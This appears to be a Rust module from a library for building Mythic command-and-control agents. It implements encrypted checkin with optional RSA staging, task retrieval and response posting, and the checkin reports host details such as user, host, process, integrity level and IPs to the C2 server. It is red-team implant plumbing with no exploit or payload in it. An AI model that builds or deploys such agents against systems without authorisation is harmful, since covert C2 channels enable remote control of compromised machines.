1use std::string::String;
4use std::vec::Vec;
5use uuid::Uuid;
6
7#[cfg(feature = "rsa-staging")]
8use crate::protocol::checkin::RespCheckin;
9use crate::protocol::checkin::{self, DirectResult};
10use crate::protocol::codec::{
11 Aes256HmacCrypto, decode_message, decode_message_plain, encode_message, encode_message_plain,
12};
13use crate::protocol::{
14 AgentExtras, AgentMessageExtras, ReqCheckin, ReqGetTasking, ReqPostResponse, RespGetTasking,
15 RespPostResponse,
16};
17use crate::transport::C2Transport;
18use crate::{MythicError, MythicResult};
19
20#[derive(Debug)]
57pub struct MythicAgent {
58 pub callback_uuid: Uuid,
59}
60
61impl MythicAgent {
62 pub fn new(payload_uuid: Uuid) -> Self {
63 Self {
64 callback_uuid: payload_uuid,
65 }
66 }
67
68 pub fn callback_uuid(&self) -> Uuid {
69 self.callback_uuid
70 }
71
72 #[allow(clippy::too_many_arguments)]
79 pub fn easy_checkin<C: C2Transport>(
80 payload_uuid: Uuid,
81 c2: &mut C,
82 ips: Vec<String>,
83 os: Option<String>,
84 user: Option<String>,
85 host: Option<String>,
86 pid: Option<u32>,
87 architecture: Option<String>,
88 domain: Option<String>,
89 integrity_level: Option<u32>,
90 external_ip: Option<String>,
91 encryption_key: Option<String>,
92 decryption_key: Option<String>,
93 process_name: Option<String>,
94 ) -> MythicResult<Self> {
95 let req = ReqCheckin::new(
96 payload_uuid,
97 ips,
98 os,
99 user,
100 host,
101 pid,
102 architecture,
103 domain,
104 integrity_level,
105 external_ip,
106 encryption_key,
107 decryption_key,
108 process_name,
109 );
110 Self::new(payload_uuid).checkin(req, c2)
111 }
112
113 pub fn checkin<C: C2Transport>(mut self, req: ReqCheckin, c2: &mut C) -> MythicResult<Self> {
122 let payload_uuid = req.uuid;
123
124 if c2.encrypted_exchange_check() {
125 #[cfg(feature = "rsa-staging")]
126 return self.rsa_checkin(req, c2);
127 #[cfg(not(feature = "rsa-staging"))]
128 return Err(MythicError::KeyExchangeFailed);
129 }
130
131 let needs_crypto = c2.get_aes_psk().is_some();
132 let iv = if needs_crypto {
133 c2.random_iv()?
134 } else {
135 [0u8; 16]
136 };
137
138 let DirectResult { callback_uuid, .. } =
139 checkin::direct_checkin(c2, &req, payload_uuid, &iv)?;
140
141 self.callback_uuid = callback_uuid;
142
143 Ok(self)
144 }
145
146 #[cfg(feature = "rsa-staging")]
152 pub fn rsa_checkin<C: C2Transport>(
153 mut self,
154 req: ReqCheckin,
155 c2: &mut C,
156 ) -> MythicResult<Self> {
157 use crate::protocol::checkin::{RsaStagingResult, rsa_staging_checkin};
158 use crate::protocol::codec::encode_message;
159 use crate::protocol::crypto::random_iv;
160
161 let payload_uuid = req.uuid;
162 let RsaStagingResult {
163 temp_uuid, crypto, ..
164 } = rsa_staging_checkin(&*c2, payload_uuid)?;
165
166 c2.set_aes_psk(&crypto.key_b64());
169
170 let iv = random_iv()?;
171 let packed = encode_message(&req, temp_uuid, &crypto, &iv)?;
172 let response = c2.checkin(&packed)?;
173 let (_, resp): (Uuid, RespCheckin) =
174 crate::protocol::codec::decode_message(&response, Some(temp_uuid), &crypto)?;
175
176 if resp.status != "success" {
177 return Err(MythicError::protocol(format!(
178 "checkin rejected after RSA staging: status={}",
179 resp.status
180 )));
181 }
182
183 self.callback_uuid = resp.id;
184 Ok(self)
185 }
186
187 pub fn get_tasking<C: C2Transport>(
191 &self,
192 tasking_size: i32,
193 c2: &C,
194 ) -> MythicResult<RespGetTasking> {
195 self.get_tasking_with(tasking_size, c2, AgentMessageExtras::default())
196 }
197
198 pub fn get_tasking_with<C: C2Transport>(
201 &self,
202 tasking_size: i32,
203 c2: &C,
204 extras: AgentMessageExtras,
205 ) -> MythicResult<RespGetTasking> {
206 let req = ReqGetTasking::with_extras(tasking_size, extras);
207
208 if let Some(key_b64) = c2.get_aes_psk() {
209 let crypto = Aes256HmacCrypto::from_base64_key(&key_b64)?;
210 let iv = c2.random_iv()?;
211 let packed = encode_message(&req, self.callback_uuid, &crypto, &iv)?;
212 let response = c2.get_tasking(&packed)?;
213 decode_message(&response, Some(self.callback_uuid), &crypto).map(|(_, r)| r)
214 } else {
215 let packed = encode_message_plain(&req, self.callback_uuid)?;
216 let response = c2.get_tasking(&packed)?;
217 decode_message_plain(&response, Some(self.callback_uuid)).map(|(_, r)| r)
218 }
219 }
220
221 pub fn post_response<C: C2Transport>(
228 &self,
229 responses: Vec<crate::protocol::TaskResponse>,
230 c2: &C,
231 ) -> MythicResult<RespPostResponse> {
232 self.post_response_with(responses, c2, AgentExtras::default())
233 }
234
235 pub fn post_response_with<C: C2Transport>(
241 &self,
242 responses: Vec<crate::protocol::TaskResponse>,
243 c2: &C,
244 shared: AgentExtras,
245 ) -> MythicResult<RespPostResponse> {
246 let extras = AgentMessageExtras { responses, shared };
247 let req = ReqPostResponse::from_extras(extras);
248
249 if let Some(key_b64) = c2.get_aes_psk() {
250 let crypto = Aes256HmacCrypto::from_base64_key(&key_b64)?;
251 let iv = c2.random_iv()?;
252 let packed = encode_message(&req, self.callback_uuid, &crypto, &iv)?;
253 let response = c2.post_response(&packed)?;
254 decode_message(&response, Some(self.callback_uuid), &crypto).map(|(_, r)| r)
255 } else {
256 let packed = encode_message_plain(&req, self.callback_uuid)?;
257 let response = c2.post_response(&packed)?;
258 decode_message_plain(&response, Some(self.callback_uuid)).map(|(_, r)| r)
259 }
260 }
261}